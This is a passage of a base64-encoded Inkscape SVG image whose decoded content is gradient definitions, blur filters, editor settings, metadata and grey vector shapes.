SJzdG9wNjM2OSIgb2Zmc2V0PSIwLjEiIHN0eWxlPSJzdG9wLWNvbG9yOiM4Mjg1ODQ7c3RvcC1vcGFjaXR5OjAiLz48c3RvcCBpZD0ic3RvcDYzNTciIG9mZnNldD0iMC40IiBzdHlsZT0ic3RvcC1jb2xvcjojNzk3OTc5O3N0b3Atb3BhY2l0eTowIi8+PHN0b3Agb2Zmc2V0PSIwLjUiIGlkPSJzdG9wNjM1OSIgc3R5bGU9InN0b3AtY29sb3I6IzgyODY4MjtzdG9wLW9wYWNpdHk6MCIvPjxzdG9wIGlkPSJzdG9wNjM2NyIgb2Zmc2V0PSIwLjkiIHN0eWxlPSJzdG9wLWNvbG9yOiM4YThhOGE7c3RvcC1vcGFjaXR5OjEiLz48c3RvcCBvZmZzZXQ9IjEiIGlkPSJzdG9wNjM1MyIgc3R5bGU9InN0b3AtY29sb3I6IzlhOWQ5YztzdG9wLW9wYWNpdHk6MSIvPjwvbGluZWFyR3JhZGllbnQ+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjQ3NSIgaWQ9ImxpbmVhckdyYWRpZW50NzEwNSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIHgxPSItMTYxLjUiIHkxPSItNjQ2LjMiIHgyPSItMTYxLjgiIHkyPSItNjk0LjciLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ2NDc1IiBpZD0ibGluZWFyR3JhZGllbnQ3MTAzIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9IjcxMC40IiB5MT0iLTIyNCIgeDI9Ijc1NC42IiB5Mj0iLTIyNCIvPjxsaW5lYXJHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHhsaW5rOmhyZWY9IiNsaW5lYXJHcmFkaWVudDY0NzUiIGlkPSJsaW5lYXJHcmFkaWVudDcxMDEiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIiB4MT0iLTI4Ny42IiB5MT0iLTY0Ny44IiB4Mj0iLTI4Ni45IiB5Mj0iLTY5MS40Ii8+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjQ3NSIgaWQ9ImxpbmVhckdyYWRpZW50NzA5OSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIHgxPSI1ODUuMSIgeTE9Ii0yMjQiIHgyPSI2MjkuMyIgeTI9Ii0yMjQiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ2MzQ5IiBpZD0ibGluZWFyR3JhZGllbnQ3MDk3IiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgZ3JhZGllbnRUcmFuc2Zvcm09InRyYW5zbGF0ZSgxMzIzLjExMzQsOTA0LjcwOTgyKSIgeDE9Ii03MDQiIHkxPSItNTgyLjciIHgyPSItNzA4LjQiIHkyPSItNzcxLjciLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ0NTUyIiBpZD0ibGluZWFyR3JhZGllbnQ3MDkzIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgZ3JhZGllbnRUcmFuc2Zvcm09InRyYW5zbGF0ZSg3NjUuNzI3NTksMC45NTQzNzkyNykiIHgxPSItNzAyIiB5MT0iLTgwNi4xIiB4Mj0iLTcwOC4xIiB5Mj0iLTc2NiIvPjxsaW5lYXJHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIGlkPSJsaW5lYXJHcmFkaWVudDQ1NTIiPjxzdG9wIG9mZnNldD0iMCIgaWQ9InN0b3A0NTU0IiBzdHlsZT0ic3RvcC1jb2xvcjojZjlmOWY5O3N0b3Atb3BhY2l0eToxIi8+PHN0b3Agb2Zmc2V0PSIxIiBpZD0ic3RvcDQ1NTYiIHN0eWxlPSJzdG9wLWNvbG9yOiNmOWY5Zjk7c3RvcC1vcGFjaXR5OjAiLz48L2xpbmVhckdyYWRpZW50PjxsaW5lYXJHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHhsaW5rOmhyZWY9IiNsaW5lYXJHcmFkaWVudDQ1NTIiIGlkPSJsaW5lYXJHcmFkaWVudDcwOTUiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIiBncmFkaWVudFRyYW5zZm9ybT0ibWF0cml4KDAuMjU5NTAzNzksMC45NjMzNzAzNCwtMC45Njg0ODEzMywwLjI1ODEzNDMxLC00MTAuMzIyMzcsMTg0LjI4NDY1KSIgeDE9Ii01NzIuOCIgeTE9Ii03NjMuNiIgeDI9Ii03NjQuMiIgeTI9Ii03MjEuOSIvPjxsaW5lYXJHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHhsaW5rOmhyZWY9IiNsaW5lYXJHcmFkaWVudDY1OTkiIGlkPSJsaW5lYXJHcmFkaWVudDcwOTEiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIiBncmFkaWVudFRyYW5zZm9ybT0ibWF0cml4KC0xLDAsMCwxLC05MS45OTUwOTMsODk5LjgxNTUzKSIgeDE9Ii02MTQuNiIgeTE9Ii01ODMuNSIgeDI9Ii04MTkuMiIgeTI9Ii01ODAuNiIvPjxsaW5lYXJHcmFkaWVudCBpZD0ibGluZWFyR3JhZGllbnQ2NTk5IiBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiPjxzdG9wIGlkPSJzdG9wNjYwMSIgb2Zmc2V0PSIwIiBjbGFzcz0iczIiLz48c3RvcCBvZmZzZXQ9IjAuNCIgaWQ9InN0b3A2NjAzIiBjbGFzcz0iczMiLz48c3RvcCBpZD0ic3RvcDY2MDUiIG9mZnNldD0iMSIgY2xhc3M9InM0Ii8+PC9saW5lYXJHcmFkaWVudD48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ0NTUyIiBpZD0ibGluZWFyR3JhZGllbnQ3MDg5IiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgZ3JhZGllbnRUcmFuc2Zvcm09Im1hdHJpeCgwLjI1OTQ4NzU3LDAuOTYyMzExODIsLTAuOTY4NDIwNzksMC4yNTc4NTA2OCwtMzM3LjMwODM1LDEwODMuMDE5NCkiIHgxPSItNTc1LjkiIHkxPSItNzU1LjIiIHgyPSItNzY0LjIiIHkyPSItNzIxLjkiLz48ZmlsdGVyIGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgaWQ9ImZpbHRlcjY4NDYiIHg9IjAiIHdpZHRoPSIxIiB5PSItMC43IiBoZWlnaHQ9IjIuNCIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj48ZmVHYXVzc2lhbkJsdXIgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiBzdGREZXZpYXRpb249IjAuNiIgaWQ9ImZlR2F1c3NpYW5CbHVyNjg0OCIvPjwvZmlsdGVyPjxsaW5lYXJHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHhsaW5rOmhyZWY9IiNsaW5lYXJHcmFkaWVudDQ1NTIiIGlkPSJsaW5lYXJHcmFkaWVudDcwODciIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIiBncmFkaWVudFRyYW5zZm9ybT0idHJhbnNsYXRlKDgzOC43MjAzNSw5MDAuNzY5OTEpIiB4MT0iLTcwMiIgeTE9Ii04MDYuMSIgeDI9Ii03MDguMSIgeTI9Ii03NjYiLz48ZmlsdGVyIGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgaWQ9ImZpbHRlcjY1NTkiIHg9IjAiIHdpZHRoPSIxIiB5PSIwIiBoZWlnaHQ9IjEiIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+PGZlR2F1c3NpYW5CbHVyIGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgc3RkRGV2aWF0aW9uPSIwLjIiIGlkPSJmZUdhdXNzaWFuQmx1cjY1NjEiLz48L2ZpbHRlcj48cmFkaWFsR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ2NTE5IiBpZD0icmFkaWFsR3JhZGllbnQ3MDg1IiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgZ3JhZGllbnRUcmFuc2Zvcm09Im1hdHJpeCgwLjIwODg4NzU0LDAuOTc3OTM5NjcsLTAuODY5NDg3MTEsMC4xODU3MjIxMiwtMTI3Ny4yNTM3LDMxLjMxNjMzNikiIGN4PSItNzA2LjQiIGN5PSItODI2LjIiIGZ4PSItNzA2LjQiIGZ5PSItODI2LjIiIHI9IjU1LjkiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiBpZD0ibGluZWFyR3JhZGllbnQ2NTE5Ij48c3RvcCBvZmZzZXQ9IjAiIGlkPSJzdG9wNjUyMSIgc3R5bGU9InN0b3AtY29sb3I6I2U0ZTVlNTtzdG9wLW9wYWNpdHk6MSIvPjxzdG9wIG9mZnNldD0iMSIgaWQ9InN0b3A2NTIzIiBzdHlsZT0ic3RvcC1jb2xvcjojZTRlNWU1O3N0b3Atb3BhY2l0eTowIi8+PC9saW5lYXJHcmFkaWVudD48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ0NTQyIiBpZD0ibGluZWFyR3JhZGllbnQ3MDgzIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgZ3JhZGllbnRUcmFuc2Zvcm09Im1hdHJpeCgxLDAsMCwxLjQ0NzAyNzksODQwLjk0NzIzLDEyMzguOTcwNikiIHgxPSItNDkwLjgiIHkxPSItNzg5LjQiIHgyPSItNDkwLjgiIHkyPSItNzYwLjUiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiBpZD0ibGluZWFyR3JhZGllbnQ0NTQyIj48c3RvcCBvZmZzZXQ9IjAiIGlkPSJzdG9wNDYxNCIgc3R5bGU9InN0b3AtY29sb3I6I2ZmZmZmZjtzdG9wLW9wYWNpdHk6MSIvPjxzdG9wIG9mZnNldD0iMSIgaWQ9InN0b3A0NjE2IiBjbGFzcz0iczQiLz48L2xpbmVhckdyYWRpZW50PjxsaW5lYXJHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHhsaW5rOmhyZWY9IiNsaW5lYXJHcmFkaWVudDY0MjMiIGlkPSJsaW5lYXJHcmFkaWVudDcwODEiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIiB4MT0iLTYxNC42IiB5MT0iLTU4My41IiB4Mj0iLTgwMi42IiB5Mj0iLTU4NC40IiBncmFkaWVudFRyYW5zZm9ybT0idHJhbnNsYXRlKDgzOC43MjAzNSw4OTkuODE1NTMpIi8+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgaWQ9ImxpbmVhckdyYWRpZW50NjQyMyI+PHN0b3Agb2Zmc2V0PSIwIiBpZD0ic3RvcDY0MjUiIGNsYXNzPSJzMiIvPjxzdG9wIGlkPSJzdG9wNjQzMSIgb2Zmc2V0PSIwLjciIGNsYXNzPSJzMyIvPjxzdG9wIG9mZnNldD0iMSIgaWQ9InN0b3A2NDI3IiBjbGFzcz0iczQiLz48L2xpbmVhckdyYWRpZW50PjxyYWRpYWxHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHhsaW5rOmhyZWY9IiNsaW5lYXJHcmFkaWVudDY2NTEiIGlkPSJyYWRpYWxHcmFkaWVudDcwNzkiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIiBncmFkaWVudFRyYW5zZm9ybT0ibWF0cml4KC0xLjE3MjUzNzYsMS41ODY1MzUxLC0xLjM1NjgyMzYsLTEuMDAyNzY3OSwtMTU5Ny41MDE2LDY4My4wMzY2NikiIGN4PSItNzA2LjgiIGN5PSItNjY4LjEiIGZ4PSItNzA2LjgiIGZ5PSItNjY4LjEiIHI9IjEyNS42Ii8+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgaWQ9ImxpbmVhckdyYWRpZW50NjY1MSI+PHN0b3Agb2Zmc2V0PSIwIiBpZD0ic3RvcDY2NTMiIHN0eWxlPSJzdG9wLWNvbG9yOiMyYzJlMmQ7c3RvcC1vcGFjaXR5OjEiLz48c3RvcCBvZmZzZXQ9IjEiIGlkPSJzdG9wNjY1NSIgc3R5bGU9InN0b3AtY29sb3I6IzkyOTY5NTtzdG9wLW9wYWNpdHk6MCIvPjwvbGluZWFyR3JhZGllbnQ+PGZpbHRlciBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIGlkPSJmaWx0ZXI2NzA3IiB4PSIwIiB3aWR0aD0iMSIgeT0iMCIgaGVpZ2h0PSIxIiBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPjxmZUdhdXNzaWFuQmx1ciBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHN0ZERldmlhdGlvbj0iMS4yIiBpZD0iZmVHYXVzc2lhbkJsdXI2NzA5Ii8+PC9maWx0ZXI+PHJhZGlhbEdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjY1MSIgaWQ9InJhZGlhbEdyYWRpZW50NzA3NyIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIGdyYWRpZW50VHJhbnNmb3JtPSJtYXRyaXgoLTEuMzgxNjE3OCwxLjI4NDkwMjIsLTEuMTk5NTE0LC0xLjI4OTgwMjMsLTI0NzguODg5OCwtNjIxLjcyODIzKSIgY3g9Ii03MDYuOCIgY3k9Ii02NjguMSIgZng9Ii03MDYuOCIgZnk9Ii02NjguMSIgcj0iMTI1LjYiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ0NTQyIiBpZD0ibGluZWFyR3JhZGllbnQ3MDc1IiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgZ3JhZGllbnRUcmFuc2Zvcm09Im1hdHJpeCgwLjcwMjgwNDkzLDAsMCwtMS45NDg4NDU2LDY4OS42MDQwNiwtMTE4Ni41Njc2KSIgeDE9Ii00OTAuOCIgeTE9Ii03NzYuMyIgeDI9Ii00OTAuOCIgeTI9Ii03NjAuNSIvPjxyYWRpYWxHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHhsaW5rOmhyZWY9IiNsaW5lYXJHcmFkaWVudDY3MjkiIGlkPSJyYWRpYWxHcmFkaWVudDcwNzMiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIiBncmFkaWVudFRyYW5zZm9ybT0ibWF0cml4KDAuOTcyMDY2MywwLjAyMjU4NDA2LC0wLjAxNjgxODcxLDAuNzIzOTA5NzUsNzQ1LjQ1MzgsMzYyLjI0NTI5KSIgY3g9Ii0zODAuNiIgY3k9IjIyMy4yIiBmeD0iLTM4MC42IiBmeT0iMjIzLjIiIHI9IjMyMS4yIi8+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgaWQ9ImxpbmVhckdyYWRpZW50NjcyOSI+PHN0b3Agb2Zmc2V0PSIwIiBpZD0ic3RvcDY3MzEiIHN0eWxlPSJzdG9wLWNvbG9yOiMxYTFjMWE7c3RvcC1vcGFjaXR5OjEiLz48c3RvcCBvZmZzZXQ9IjEiIGlkPSJzdG9wNjczMyIgc3R5bGU9InN0b3AtY29sb3I6IzJjMmUyZDtzdG9wLW9wYWNpdHk6MCIvPjwvbGluZWFyR3JhZGllbnQ+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50Njg1MCIgaWQ9ImxpbmVhckdyYWRpZW50NzA3MSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIGdyYWRpZW50VHJhbnNmb3JtPSJtYXRyaXgoMS4wNTY4NzQxLDAsMCwtMS45NDg4NDU2LDg1Ni4wNDM4OSwtMTM2NC43MzI5KSIgeDE9Ii00OTAuNSIgeTE9Ii03ODAuMSIgeDI9Ii00OTAuNSIgeTI9Ii03NTYuNiIvPjxsaW5lYXJHcmFkaWVudCBpZD0ibGluZWFyR3JhZGllbnQ2ODUwIiBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiPjxzdG9wIGlkPSJzdG9wNjg1MiIgb2Zmc2V0PSIwIiBjbGFzcz0iczQiLz48c3RvcCBpZD0ic3RvcDY4NTQiIG9mZnNldD0iMSIgc3R5bGU9InN0b3AtY29sb3I6IzdhN2Y3ZTtzdG9wLW9wYWNpdHk6MSIvPjwvbGluZWFyR3JhZGllbnQ+PHJhZGlhbEdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjUxOSIgaWQ9InJhZGlhbEdyYWRpZW50NzA2OSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIGdyYWRpZW50VHJhbnNmb3JtPSJtYXRyaXgoMC4yMDg4ODc1NCwwLjk3NzkzOTY3LC0wLjg2OTQ4NzExLDAuMTg1NzIyMTIsLTEyNzcuMjUzNywzMS4zMTYzMzYpIiBjeD0iLTcwNi40IiBjeT0iLTgyNi4yIiBmeD0iLTcwNi40IiBmeT0iLTgyNi4yIiByPSI1NS45Ii8+PC9kZWZzPjxzb2RpcG9kaTpuYW1lZHZpZXcgaWQ9ImJhc2UiIHBhZ2Vjb2xvcj0iI2ZmZmZmZiIgYm9yZGVyY29sb3I9IiM2NjY2NjYiIGJvcmRlcm9wYWNpdHk9IjEiIGlua3NjYXBlOnBhZ2VvcGFjaXR5PSIwIiBpbmtzY2FwZTpwYWdlc2hhZG93PSIyIiBpbmtzY2FwZTp6b29tPSIxIiBpbmtzY2FwZTpjeD0iNDAxLjMiIGlua3NjYXBlOmN5PSIxOTUuNiIgaW5rc2NhcGU6ZG9jdW1lbnQtdW5pdHM9InB4IiBpbmtzY2FwZTpjdXJyZW50LWxheWVyPSJnODQ2NyIgc2hvd2dyaWQ9ImZhbHNlIiBpbmtzY2FwZTp3aW5kb3ctd2lkdGg9IjE2MTUiIGlua3NjYXBlOndpbmRvdy1oZWlnaHQ9IjEwMjYiIGlua3NjYXBlOndpbmRvdy14PSI2NSIgaW5rc2NhcGU6d2luZG93LXk9IjI0IiBpbmtzY2FwZTp3aW5kb3ctbWF4aW1pemVkPSIxIi8+PG1ldGFkYXRhIGlkPSJtZXRhZGF0YTc0NjkiPjxyZGY6UkRGPjxjYzpXb3JrIHJkZjphYm91dD0iIj48ZGM6Zm9ybWF0PmltYWdlL3N2Zyt4bWw8L2RjOmZvcm1hdD48ZGM6dHlwZSByZGY6cmVzb3VyY2U9Imh0dHA6Ly9wdXJsLm9yZy9kYy9kY21pdHlwZS9TdGlsbEltYWdlIi8+PC9jYzpXb3JrPjwvcmRmOlJERj48L21ldGFkYXRhPjxnIGlua3NjYXBlOmxhYmVsPSJDYXBhIDEiIGlua3NjYXBlOmdyb3VwbW9kZT0ibGF5ZXIiIGlkPSJsYXllcjEiIHRyYW5zZm9ybT0idHJhbnNsYXRlKDAsLTU1Ni4yOTkyNSkiPjxnIGlkPSJnODQ2NyIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoOC43NTkwNDQzLDQ5Ny42ODI4NCkiPjxwYXRoIGlkPSJwYXRoNDM2MCIgZD0ibTE3OS40IDExMC44IDAgMTIuNSAxNzcuNyAwIDMyLjEgMCAxODYuMyAwLjEgMC0xMi42LTM5Ni4xIDB6IiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBmaWxsPSIjOTI5Njk1Ii8+PGcgaWQ9Imc2ODYxIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgxMzIyLjA4NjEsODk4Ljc0NTM3KSI+PHBhdGggZD0ibS03NDAuNC04MjUuOGMyMS45LTEwLjggNDkuMi0xMC44IDcxLjEgMCAzLjMgMS42IDcuNiA0LjEgNy42IDkuMWwwIDcuN2MwIDUtMy40IDkuMS03LjYgOS4xbC03MS4xIDBjLTQuMiAwLTcuNi00LjEtNy42LTkuMWwwLTcuN2MwLTUgNC4zLTcuNSA3LjYtOS4xeiIgaWQ9InBhdGg2ODYzIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBzb2RpcG9kaTpub2RldHlwZXM9ImFhc3Nzc3NzYSIgZmlsbD0iIzJiMzIzNiIvPjxwYXRoIGQ9Im0tNzM5LjItODI1LjZjMjEuMi0xMC40IDQ3LjUtMTAuNCA2OC43IDAgMy4yIDEuNiA3LjQgMy45IDcuNCA4LjhsMCA3LjVjMCA0LjktMy4zIDguOC03LjQgOC44bC02OC43IDBjLTQuMSAwLTcuNC0zLjktNy40LTguOGwwLTcuNWMwLTQuOSA0LjItNy4yIDcuNC04Ljh6IiBpZD0icGF0aDY4NjUiIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIHNvZGlwb2RpOm5vZGV0eXBlcz0iYWFzc3Nzc3NhIiBjbGFzcz0iczgiLz48cGF0aCBkPSJtLTc1MS42LTgxMi4xYzAgMCAxOC4xLTEzLjQgNDUuOS0xMy41IDMwLjQtMC4yIDQ0LjQgMTMuNSA0NC40IDEzLjUgMy43IDIuOCA2LjkgMy45IDcuMyA4LjdsMy40IDM5LjNjMC40IDQuOC0zLjMgOC43LTcuMyA4LjdsLTk3LjEgMGMtNC4xIDAtNy43LTMuOS03LjMtOC43bDMuNC0zOS4zYzAuNC00LjggMi43LTUuOSA3LjMtOC43eiIgaWQ9InBhdGg2ODY3IiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBzb2RpcG9kaTpub2RldHlwZXM9InNzc3Nzc3Nzc3MiIGZpbGw9InVybCgjcmFkaWFsR3JhZGllbnQ3MDY5KSIvPjxwYXRoIHNvZGlwb2RpOm5vZGV0eXBlcz0iYWFzc3Nzc3NhIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDY4NjkiIGQ9Im0tNzM5LjUtODI1LjJjMjEuNC0xMC40IDQ4LjItMTAuNCA2OS42IDAgMy4zIDEuNiA3LjUgMy45IDcuNSA4LjhsMCA3LjVjMCA0LjktMy4zIDguOC03LjUgOC44bC02OS42IDBjLTQuMSAwLTcuNS0zLjktNy41LTguOGwwLTcuNWMwLTQuOSA0LjItNy4yIDcuNS04Ljh6IiBmaWxsPSIjMTcxYjFkIi8+PHBhdGggc29kaXBvZGk6bm9kZXR5cGVzPSJzc3Nzc3Nzc3NzIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDY4NzEiIGQ9Im0tNzUxLjYtODEwLjhjMCAwIDE4LjEtMTMuNCA0NS45LTEzLjUgMzAuNC0wLjIgNDQuNCAxMy41IDQ0LjQgMTMuNSAzLjcgMi44IDYuOSAzLjkgNy4zIDguN2wzLjQgMzkuM2MwLjQgNC44LTMuMyA4LjctNy4zIDguN2wtOTcuMSAwYy00LjEgMC03LjctMy45LTcuMy04LjdsMy40LTM5LjNjMC40LTQuOCAyLjctNS45IDcuMy04Ljd6IiBmaWxsPSIjY2NjZWNlIi8+PHBhdGggZD0ibS03NTEuNi04MDkuOWMwIDAgMTguMS0xMy40IDQ1LjktMTMuNSAzMC40LTAuMiA0NC40IDEzLjUgNDQuNCAxMy41IDMuNyAyLjggNi45IDMuOSA3LjMgOC43bDMuNCAzOS4zYzAuNCA0LjgtMy4zIDguNy03LjMgOC43bC05Ny4xIDBjLTQuMSAwLTcuNy0zLjktNy4zLTguN2wzLjQtMzkuM2MwLjQtNC44IDIuNy01LjkgNy4zLTguN3oiIGlkPSJwYXRoNjg3MyIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgc29kaXBvZGk6bm9kZXR5cGVzPSJzc3Nzc3Nzc3NzIiBmaWxsPSIjOTI5Njk1Ii8+PC9nPjxwYXRoIGQ9Im0xNTcuMiAxMjMuMSAwIDE2NC4zTDUuMSAyMTYuNGMwIDAtMTEuNCAyMDIuNi0xMi4zIDIxMy44LTEgMTIgMC40IDg1LjkgNDQuNCAxMDcuOSA5Mi43IDQ2LjIgMTMzLjktNzkuMiAxMzMuOS03OS4yIDAgMCAzMi41LTcyIDU1LTEwNCA0LTUuNyA2LjctMTAuNiA5LjgtMTQuMiAxLjMtMS42IDMuNi0yLjQgNC44LTIuOSAzLjMtMS42IDguOS0yLjcgOC45LTIuNyA4My44IDIuNCAxNjIuOCAxLjcgMjQ3IDAgMCAwIDUuNyAxLjEgOC45IDIuNyAxLjYgMC44IDQuNSAyIDYuMSAzLjggMyAzLjQgNS41IDggOS4yIDEzLjMgMjIuNiAzMiA1NC43IDEwNC4xIDU0LjcgMTA0LjEgMCAwIDQxLjIgMTI1LjQgMTMzLjkgNzkuMiA0NC0yMS45IDQyLjktOTUuOSA0MS45LTEwOC0wLjktMTEuMi0xMC43LTIwNi44LTEwLjctMjA2LjhsLTE1MS45IDY0LjQgMC0xNjQuNi0xOTkuNi0wLjEtMzIuMSAweiIgaWQ9InBhdGg2ODc1IiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBzb2RpcG9kaTpub2RldHlwZXM9ImNjY3NzY3NzY2NjY3NzY3NzY2NjY2NjIiBmaWxsPSIjOTI5Njk1Ii8+PHBhdGggZD0ibTcwLjMgMjg5LjQgMCAyNTQuNGM2OS41IDYuMiAxMDAuOC04OS4xIDEwMC44LTg5LjEgMCAwIDMyLjUtNzIgNTUtMTA0IDQtNS43IDYuNy0xMC42IDkuOC0xNC4yIDEuMy0xLjYgMy42LTIuNCA0LjgtMi45IDMuMy0xLjYgOC45LTIuNyA4LjktMi43IDgzLjggMi40IDE2Mi44IDEuNyAyNDcgMCAwIDAgNS43IDEuMSA4LjkgMi43IDEuNiAwLjggNC41IDIgNi4xIDMuOCAzIDMuNCA1LjUgOCA5LjIgMTMuMyAyMi42IDMyIDU0LjcgMTA0LjEgNTQuNyAxMDQuMSAwIDAgNDEuMiAxMjUuNCAxMzMuOSA3OS4yIDEuMS0wLjYgMi4yLTEuMiAzLjMtMS44bDAtMjQyLjctNjQyLjUgMHoiIGlkPSJwYXRoNjg3OSIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgc3R5bGU9ImZpbGw6dXJsKCNyYWRpYWxHcmFkaWVudDcwNzMpO29wYWNpdHk6MSIvPjxwYXRoIGQ9Im0yMzkuOSAzMTYuOWM4OS44IDUuNyAxNzguNyAyLjIgMjYzLjItMC43IDEuOS0wLjEgNC4xLTAuNSA1LjItMy40IDAuMS0wLjIgMC4xLTAuNCAwLjItMC42IDAuNi0zLjEtMi4yLTguOS0yLjktMTIuNS0wLjgtMy45LTIuNS0xMC42LTIuNS0xMC42bC0yNTEuOS0zLjhjMCAwLTE1LjkgMTMuNi0xOC4zIDIzLjMtMC41IDEuOS0wLjIgNC4yIDAuNyA1LjggMC43IDEuMiA0LjIgMi41IDYuNCAyLjZ6IiBpZD0icGF0aDY4ODEiIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIHNvZGlwb2RpOm5vZGV0eXBlcz0ic3Nzc3NjY3NzcyIgc3R5bGU9ImZpbGw6dXJsKCNsaW5lYXJHcmFkaWVudDcwNzUpO29wYWNpdHk6MCIvPjxwYXRoIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIGQ9Im0xNzkuNCAxMTAuOCAwIDEyLjUgMTc3LjcgMCAzMi4xIDAgMTg2LjMgMC4xIDAtMTIuNi0zOTYuMSAweiIgaWQ9InBhdGg2ODc3IiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzA3MSkiLz48cGF0aCBkPSJtLTU3Ny40LTY2OC4xYTEyMy42IDEyNC42IDAgMCAxLTEyMy42IDEyNC42IDEyMy42IDEyNC42IDAgMCAxLTEyMy42LTEyNC42IDEyMy42IDEyNC42IDAgMCAxIDEyMy42LTEyNC42IDEyMy42IDEyNC42IDAgMCAxIDEyMy42IDEyNC42eiIgaWQ9InBhdGg2ODgzIiBpbmtzY2FwZT